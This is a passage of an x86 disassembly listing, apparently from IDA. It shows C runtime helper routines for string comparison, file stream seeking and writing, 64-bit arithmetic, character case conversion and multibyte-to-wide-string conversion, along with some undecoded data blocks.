var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
nop
call near ptr 293012Ah
lea eax, [ebp+var_20]
push eax
call near ptr 2A30000h
nop
mov ax, [ebp+var_16]
cmp ax, word_4DB992
jnz short loc_41D0E6
mov ax, [ebp+var_18]
cmp ax, word_4DB990
jnz short loc_41D0E6
mov ax, [ebp+var_1A]
cmp ax, word_4DB98E
jnz short loc_41D0E6
mov ax, [ebp+var_1E]
cmp ax, word_4DB98A
jnz short loc_41D0E6
mov ax, [ebp+var_20]
cmp ax, word_4DB988
jnz short loc_41D0E6
mov eax, dword_4DB980
jmp short loc_41D12B
; ---------------------------------------------------------------------------
loc_41D0E6: ; CODE XREF: sub_41D081+28j
; sub_41D081+35j ...
lea eax, [ebp+var_CC]
push eax
nop
call near ptr 2A20000h
cmp eax, 0FFFFFFFFh
jz short loc_41D113
cmp eax, 2
jnz short loc_41D10F
cmp [ebp+var_32], 0
jz short loc_41D10F
cmp [ebp+var_24], 0
jz short loc_41D10F
push 1
pop eax
jmp short loc_41D116
; ---------------------------------------------------------------------------
loc_41D10F: ; CODE XREF: sub_41D081+7Aj
; sub_41D081+81j ...
xor eax, eax
jmp short loc_41D116
; ---------------------------------------------------------------------------
loc_41D113: ; CODE XREF: sub_41D081+75j
or eax, 0FFFFFFFFh
loc_41D116: ; CODE XREF: sub_41D081+8Cj
; sub_41D081+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_4DB988
movsd
movsd
movsd
movsd
pop edi
mov dword_4DB980, eax
pop esi
loc_41D12B: ; CODE XREF: sub_41D081+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_422669
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_41D15B
mov [ecx], eax
locret_41D15B: ; CODE XREF: sub_41D081+D6j
leave
retn
sub_41D081 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D160 proc near
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_4DB9DC
cmp dword ptr [eax+8], 0
jnz short loc_41D1B3
mov al, 0FFh
mov edi, edi
loc_41D17C: ; CODE XREF: sub_41D160+28j
; sub_41D160+48j
or al, al
jz short loc_41D1AE
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_41D17C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_41D17C
sbb al, al
sbb al, 0FFh
loc_41D1AE: ; CODE XREF: sub_41D160+1Ej
movsx eax, al
jmp short loc_41D1E7
; ---------------------------------------------------------------------------
loc_41D1B3: ; CODE XREF: sub_41D160+16j
mov eax, 0FFh
xor ebx, ebx
mov edi, edi
loc_41D1BC: ; CODE XREF: sub_41D160+68j
; sub_41D160+80j
or al, al
jz short loc_41D1E7
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_41D1BC
push eax
push ebx
call sub_41D74C
mov ebx, eax
add esp, 4
call sub_41D74C
add esp, 4
cmp bl, al
jz short loc_41D1BC
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41D1E7: ; CODE XREF: sub_41D160+51j
; sub_41D160+5Ej
pop ebx
pop esi
pop edi
leave
retn
sub_41D160 endp
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41D268
mov edi, [esp+14h]
test edi, edi
jz short loc_41D20B
cmp edi, 1
jz short loc_41D20B
cmp edi, 2
jnz short loc_41D268
loc_41D20B: ; CODE XREF: ___:0041D1FFj
; ___:0041D204j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_41D222
push esi
call sub_4227C5
add [esp+14h], eax
pop ecx
xor edi, edi
loc_41D222: ; CODE XREF: ___:0041D213j
push esi
call sub_41DB8B
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_41D237
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41D24B
; ---------------------------------------------------------------------------
loc_41D237: ; CODE XREF: ___:0041D22Ej
test al, 1
jz short loc_41D24B
test al, 8
jz short loc_41D24B
test ah, 4
jnz short loc_41D24B
mov dword ptr [esi+18h], 200h
loc_41D24B: ; CODE XREF: ___:0041D235j
; ___:0041D239j ...
push edi
push dword ptr [esp+14h]
push dword ptr [esi+10h]
call sub_42272B
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_41D275
; ---------------------------------------------------------------------------
loc_41D268: ; CODE XREF: ___:0041D1F7j
; ___:0041D209j
mov dword_4DB928, 16h
or eax, 0FFFFFFFFh
loc_41D275: ; CODE XREF: ___:0041D266j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep
; sub_41386B+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41D299
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41D299: ; CODE XREF: sub_41D280+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41D280 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D2B4 proc near ; CODE XREF: ___:004162E3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_41D2D8
xor eax, eax
jmp loc_41D3A5
; ---------------------------------------------------------------------------
loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41D2EB
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41D2F2
; ---------------------------------------------------------------------------
loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj
mov [ebp+arg_C], 1000h
loc_41D2F2: ; CODE XREF: sub_41D2B4+35j
; sub_41D2B4+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_41D326
mov eax, [esi+4]
test eax, eax
jz short loc_41D326
cmp ebx, eax
mov edi, ebx
jb short loc_41D30C
mov edi, eax
loc_41D30C: ; CODE XREF: sub_41D2B4+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_41C310
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_41D36C
; ---------------------------------------------------------------------------
loc_41D326: ; CODE XREF: sub_41D2B4+47j
; sub_41D2B4+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41D371
test ecx, ecx
jz short loc_41D33A
push esi
call sub_41DB8B
test eax, eax
pop ecx
jnz short loc_41D3B3
loc_41D33A: ; CODE XREF: sub_41D2B4+79j
cmp [ebp+arg_C], 0
jz short loc_41D34D
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41D34F
; ---------------------------------------------------------------------------
loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj
mov edi, ebx
loc_41D34F: ; CODE XREF: sub_41D2B4+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_42291D
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41D3AA
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_41D3AA
loc_41D36C: ; CODE XREF: sub_41D2B4+70j
mov edi, [ebp+var_4]
jmp short loc_41D39A
; ---------------------------------------------------------------------------
loc_41D371: ; CODE XREF: sub_41D2B4+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_41F58A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41D3B3
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_41D39A
mov [ebp+arg_C], 1
loc_41D39A: ; CODE XREF: sub_41D2B4+BBj
; sub_41D2B4+DDj
test ebx, ebx
jnz loc_41D2F2
mov eax, [ebp+arg_8]
loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj
; sub_41D2B4+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj
; sub_41D2B4+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_41D3B5
; ---------------------------------------------------------------------------
loc_41D3B3: ; CODE XREF: sub_41D2B4+84j
; sub_41D2B4+CFj
mov eax, edi
loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_41D3A5
sub_41D2B4 endp
; =============== S U B R O U T I N E =======================================
sub_41D3BE proc near ; CODE XREF: sub_416908+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
nop
call near ptr 2830500h
cmp eax, 0FFFFFFFFh
jnz short loc_41D3DE
call near ptr 2830047h
nop
push eax
call sub_4203DF
pop ecx
loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj
test al, 1
jz short loc_41D3FF
test [esp+arg_4], 2
jz short loc_41D3FF
mov dword_4DB928, 0Dh
mov dword_4DB92C, 5
jmp short loc_41D3DA
; ---------------------------------------------------------------------------
loc_41D3FF: ; CODE XREF: sub_41D3BE+22j
; sub_41D3BE+29j
xor eax, eax
retn
sub_41D3BE endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D410 proc near ; CODE XREF: sub_416922+3Fp
; sub_41A98C+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41D432
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41D473
; ---------------------------------------------------------------------------
loc_41D432: ; CODE XREF: sub_41D410+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41D440: ; CODE XREF: sub_41D410+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41D440
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41D46E
cmp edx, [esp+8+arg_4]
ja short loc_41D46E
jb short loc_41D46F
cmp eax, [esp+8+arg_0]
jbe short loc_41D46F
loc_41D46E: ; CODE XREF: sub_41D410+4Ej
; sub_41D410+54j
dec esi
loc_41D46F: ; CODE XREF: sub_41D410+56j
; sub_41D410+5Cj
xor edx, edx
mov eax, esi
loc_41D473: ; CODE XREF: sub_41D410+20j
pop esi
pop ebx
retn 10h
sub_41D410 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D480 proc near ; CODE XREF: sub_416922+2Dp
; sub_41A98C+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41D4A1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41D4F1
; ---------------------------------------------------------------------------
loc_41D4A1: ; CODE XREF: sub_41D480+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41D4AF: ; CODE XREF: sub_41D480+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41D4AF
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41D4DA
cmp edx, [esp+4+arg_4]
ja short loc_41D4DA
jb short loc_41D4E2
cmp eax, [esp+4+arg_0]
jbe short loc_41D4E2
loc_41D4DA: ; CODE XREF: sub_41D480+4Aj
; sub_41D480+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41D4E2: ; CODE XREF: sub_41D480+52j
; sub_41D480+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41D4F1: ; CODE XREF: sub_41D480+1Fj
pop ebx
retn 10h
sub_41D480 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp
; sub_416A32+92p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41D521
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41D521: ; CODE XREF: sub_41D500+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41D53D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41D53D: ; CODE XREF: sub_41D500+27j
or eax, eax
jnz short loc_41D559
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41D59A
; ---------------------------------------------------------------------------
loc_41D559: ; CODE XREF: sub_41D500+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41D567: ; CODE XREF: sub_41D500+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41D567
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41D595
cmp edx, [esp+0Ch+arg_4]
ja short loc_41D595
jb short loc_41D596
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41D596
loc_41D595: ; CODE XREF: sub_41D500+85j
; sub_41D500+8Bj
dec esi
loc_41D596: ; CODE XREF: sub_41D500+8Dj
; sub_41D500+93j
xor edx, edx
mov eax, esi
loc_41D59A: ; CODE XREF: sub_41D500+57j
dec edi
jnz short loc_41D5A4
neg edx
neg eax
sbb edx, 0
loc_41D5A4: ; CODE XREF: sub_41D500+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41D500 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp
; sub_4170EC+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DB9E4
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_41D5DE
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_41D645
loc_41D5C6: ; CODE XREF: sub_41D5AA+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_41D5D7
cmp cl, 7Ah
jg short loc_41D5D7
sub cl, 20h
mov [edx], cl
loc_41D5D7: ; CODE XREF: sub_41D5AA+21j
; sub_41D5AA+26j
inc edx
cmp [edx], bl
jnz short loc_41D5C6
jmp short loc_41D645
; ---------------------------------------------------------------------------
loc_41D5DE: ; CODE XREF: sub_41D5AA+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_422ACA
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_41D637
push edi
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_41D637
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_4DB9E4
call sub_422ACA
add esp, 20h
test eax, eax
jz short loc_41D637
push [ebp+var_4]
push [ebp+arg_0]
call sub_41BEB0
pop ecx
pop ecx
loc_41D637: ; CODE XREF: sub_41D5AA+53j
; sub_41D5AA+61j ...
push [ebp+var_4]
call sub_41B0B1
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_41D645: ; CODE XREF: sub_41D5AA+1Aj
; sub_41D5AA+32j
pop ebx
leave
retn
sub_41D5AA endp
; =============== S U B R O U T I N E =======================================
sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p
arg_0 = dword ptr 4
cmp dword_43CBB4, 1
jle short loc_41D65F
push 4
push [esp+4+arg_0]
call sub_41F515
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41D65F: ; CODE XREF: sub_41D648+7j
mov eax, [esp+arg_0]
mov ecx, off_43C9A8
mov al, [ecx+eax*2]
and eax, 4
retn
sub_41D648 endp
; =============== S U B R O U T I N E =======================================
sub_41D670 proc near ; CODE XREF: sub_420510+76p
; sub_420510+88p ...
arg_0 = dword ptr 4
cmp dword_43CBB4, 1
jle short loc_41D687
push 8
push [esp+4+arg_0]
call sub_41F515
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41D687: ; CODE XREF: sub_41D670+7j
mov eax, [esp+arg_0]
mov ecx, off_43C9A8
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41D670 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [esp+0Ch]
test eax, eax
jz short locret_41D6EC
mov edx, [esp+4]
push esi
push edi
mov esi, edx
mov edi, [esp+10h]
or edx, edi
and edx, 3
jz short loc_41D6ED
test eax, 1
jz short loc_41D6CD
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41D71A
inc esi
inc edi
dec eax
jz short loc_41D6EA
loc_41D6CD: ; CODE XREF: ___:0041D6C0j
; ___:0041D6E8j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41D71A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41D71A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41D6CD
loc_41D6EA: ; CODE XREF: ___:0041D6CBj
; ___:0041D724j
pop edi
pop esi
locret_41D6EC: ; CODE XREF: ___:0041D6A6j
retn
; ---------------------------------------------------------------------------
loc_41D6ED: ; CODE XREF: ___:0041D6B9j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41D722
repe cmpsd
jz short loc_41D722
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41D715
cmp ch, dh
jnz short loc_41D715
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41D715
cmp ch, dh
loc_41D715: ; CODE XREF: ___:0041D703j
; ___:0041D707j ...
mov eax, 0
loc_41D71A: ; CODE XREF: ___:0041D6C6j
; ___:0041D6D3j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41D722: ; CODE XREF: ___:0041D6F5j
; ___:0041D6F9j
test eax, eax
jz short loc_41D6EA
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41D715
dec eax
jz short loc_41D749
cmp dh, ch
jnz short loc_41D715
dec eax
jz short loc_41D749
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41D715
dec eax
loc_41D749: ; CODE XREF: ___:0041D72Fj
; ___:0041D736j
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D74C proc near ; CODE XREF: sub_418068+6p
; sub_418086+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DB9E4, 0
push ebx
push esi
push edi
jnz short loc_41D779
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_41D812
cmp eax, 5Ah
jg loc_41D812
add eax, 20h
jmp loc_41D812
; ---------------------------------------------------------------------------
loc_41D779: ; CODE XREF: sub_41D74C+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_41D7AD
cmp dword_43CBB4, esi
jle short loc_41D79B
push esi
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_41D7A5
; ---------------------------------------------------------------------------
loc_41D79B: ; CODE XREF: sub_41D74C+42j
mov eax, off_43C9A8
mov al, [eax+ebx*2]
and eax, esi
loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj
test eax, eax
jnz short loc_41D7AD
loc_41D7A9: ; CODE XREF: sub_41D74C+ADj
mov eax, ebx
jmp short loc_41D812
; ---------------------------------------------------------------------------
loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj
; sub_41D74C+5Bj
mov edx, off_43C9A8
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41D7D1
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41D7DA
; ---------------------------------------------------------------------------
loc_41D7D1: ; CODE XREF: sub_41D74C+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41D7DA: ; CODE XREF: sub_41D74C+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_4DB9E4
call sub_422ACA
add esp, 20h
test eax, eax
jz short loc_41D7A9
cmp eax, esi
jnz short loc_41D805
movzx eax, [ebp+var_4]
jmp short loc_41D812
; ---------------------------------------------------------------------------
loc_41D805: ; CODE XREF: sub_41D74C+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41D812: ; CODE XREF: sub_41D74C+16j
; sub_41D74C+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41D74C endp
; =============== S U B R O U T I N E =======================================
sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp
; sub_419593+55p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_41D82E
loc_41D824: ; CODE XREF: sub_41D817+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_41D824
loc_41D82E: ; CODE XREF: sub_41D817+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41D817 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp
; sub_4185A4+90p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_41D901
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_41D92E
cmp dword_4DB9E4, esi
jnz short loc_41D885
cmp edi, esi
jbe loc_41D92E
loc_41D864: ; CODE XREF: sub_41D834+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_41D92E
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_41D864
jmp loc_41D92E
; ---------------------------------------------------------------------------
loc_41D885: ; CODE XREF: sub_41D834+26j
mov ebx, [ebp+arg_4]
mov esi, dword_427180
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_4DB9F4
call esi
test eax, eax
jnz loc_41D92D
nop
call near ptr 2830047h
cmp eax, 7Ah
jz short loc_41D8BF
loc_41D8B0: ; CODE XREF: sub_41D834+CBj
; sub_41D834+F7j
mov dword_4DB928, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41D92E
; ---------------------------------------------------------------------------
loc_41D8BF: ; CODE XREF: sub_41D834+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41D8C7: ; CODE XREF: sub_41D834+B3j
mov cl, [eax]
test cl, cl
jz short loc_41D8E9
mov edx, off_43C9A8
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41D8DE
inc eax
loc_41D8DE: ; CODE XREF: sub_41D834+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41D8C7
loc_41D8E9: ; CODE XREF: sub_41D834+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_4DB9F4
call esi
test eax, eax
jnz short loc_41D92E
jmp short loc_41D8B0
; ---------------------------------------------------------------------------
loc_41D901: ; CODE XREF: sub_41D834+Fj
cmp dword_4DB9E4, esi
jnz short loc_41D914
push [ebp+arg_4]
call sub_41AFE0
pop ecx
jmp short loc_41D92E
; ---------------------------------------------------------------------------
loc_41D914: ; CODE XREF: sub_41D834+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_4DB9F4
nop
call near ptr 29D0000h
cmp eax, esi
jz short loc_41D8B0
loc_41D92D: ; CODE XREF: sub_41D834+6Bj
dec eax
loc_41D92E: ; CODE XREF: sub_41D834+1Aj
; sub_41D834+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41D834 endp
; ---------------------------------------------------------------------------
db 44h
dd 0E871B5EBh, 6DB31E34h, 1648A8EDh, 0A1642E1Ah, 0
dd 25896450h, 0
dd 5358EC83h, 65895756h, 28E890E8h, 33026241h, 89D48AD2h
dd 4DB94015h, 81C88B00h, 0FFE1h, 3C0D8900h, 0C1004DB9h
dd 0CA0308E1h, 0B9380D89h, 0E8C1004Dh, 0B934A310h, 0F633004Dh
dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h
dd 5BE8FC75h, 90000059h, 6240BBE8h, 0CFCCA302h, 19E8004Dh
dd 0A3000058h, 4DB998h, 55C2E8h, 5504E800h, 0B9E80000h
dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2622628h, 5495E8h
dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah
dd 569C75FFh, 2C3BE856h, 50900241h, 0FE3820E8h, 0A04589FFh
dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h
dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
db 0FFh
; =============== S U B R O U T I N E =======================================
sub_41DA29 proc near ; CODE XREF: sub_41D052+16p
; ___:00422F18p ...
arg_0 = dword ptr 4
cmp dword_4DB9A0, 1
jnz short loc_41DA37
call sub_423590
loc_41DA37: ; CODE XREF: sub_41DA29+7j
push [esp+arg_0]
call sub_4235C9
push 0FFh
call off_43A970
pop ecx
pop ecx
retn
sub_41DA29 endp
; ---------------------------------------------------------------------------
dw 3D83h
dd offset dword_4DB9A0
dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 90000000h
dd 0A58244E8h
db 77h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap
; sub_423A33+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_4DCD80
jnb loc_41DB0C
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DCC80h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41DB0C
push edi
call sub_4238A2
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DAEB
cmp edi, 1
jz short loc_41DAB9
cmp edi, 2
jnz short loc_41DACF
loc_41DAB9: ; CODE XREF: sub_41DA72+40j
